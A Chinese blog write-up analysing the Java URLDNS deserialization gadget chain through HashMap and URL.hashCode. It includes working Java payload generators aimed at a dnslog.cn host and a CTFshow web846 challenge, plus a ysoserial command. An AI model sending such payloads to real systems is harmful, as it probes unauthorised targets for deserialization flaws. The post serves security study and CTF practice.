URLDNS链分析
URLDNS 反序列化分析
1)入口类重写readObject方法
2)入口类可传入任意对象(这种类一般为集合类)
3)执行类可被利用执行危险或任意函数
链子
- HashMap->readObject()
- HashMap->hash()
- URL->hashCode()
- URLStreamHandler->hashCode()
- URLStreamHandler->getHostAddress()
- InetAddress->getByName()
这条链的入口类是java.util.HashMap
,入口类的条件上篇文章写在了最后,这里在提一嘴,实现Serializable接口;重写readObject方法,调用一个常见的函数;接收参数类型宽泛;最好JDK自带;
HashMap
首先看一下HashMap
,这个类实现了Serializable
接口
重写了readObject
方法,重写方法因为HashMap<K,V>
存储数据采用的哈希表结构,元素的存取顺序不能保证一致。由于要保证键的唯一、不重复,在反序列化过程中就需要对Key
进行hash,这样一来就需要重写readObject
方法。
putVal()
就是哈希表结构存储函数,这个不是关键,关键是它调用了hash
函数,根据key产生hash。跟进hash()
函数,可以看到,这里使用传入参数对象key
的hashCode
方法。
很多类中都具有hashCode
方法(用来进行哈希),所以接下来考虑有没有可能存在某个特殊的类M
,其hashCode
方法中直接或间接可调用危险函数。这条URLDNS链中使用的执行类就是URL
类。看URL类之前,还需要确定一下HashMap
在readObject
过程中能够正常执行到putVal()
方法这里,以及传入hash
方法中的参数对象keys
是可控的。
首先可以看到,参数对象Key
由s.readObject()
获取,s
是输入的序列化流,证明key
是可控的。只要mappings的长度大于0,也就是序列化流不为空就满足利用条件。
URL
可以看到当hashCode
属性的值为-1时,跳过if条件,执行handler
对象的hashCode
方法,并将自身URL
类的实例作为参数传入。handler
是URLStreamHandler
的实例,跟进handler
的hashCode
方法,接收URL
类的实例,调⽤getHostAddress
⽅法
继续跟进getHostAddress
⽅法,getHostAddress
方法中会获取传入的URL
对象的IP,也就是会进行DNS请求。
这⾥ InetAddress.getByName(host)
的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次DNS查询。
最终Exp:
package ysoserial;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class CiTest {
public static void main(String[] args) throws Exception{
HashMap h=new HashMap();
URL url=new URL("http://c33test.trj7m6.dnslog.cn");
Class cls=Class.forName("java.net.URL");
Field f = cls.getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url,1); //为了防止在serialize的时候就产生了url请求
h.put(url,1);
f.set(url,-1);
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("seri.bin"));
oos.writeObject(h);
}
}
例题测试
CTFshow-web846
代码:
package ysoserial;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;
public class CiTest {
public static void main(String[] args) throws Exception{
HashMap h=new HashMap();
URL url=new URL("http://cfc600c8-eb7a-4756-a5e0-2b6b57268b5e.challenge.ctf.show/");
Class cls=Class.forName("java.net.URL");
Field f = cls.getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url,1); //为了防止在serialize的时候就产生了url请求
h.put(url,1);
f.set(url,-1);
// ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("seri.bin"));
// oos.writeObject(h);
ByteArrayOutputStream b = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(b);
oos.writeObject(h);
byte[] Bytes = b.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(Bytes);
System.out.println(base64);
}
}
最后通过post发送就行
当然这里也可以直接用ysoserial
java -jar ysoserial.jar URLDNS "题目地址"|base64
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~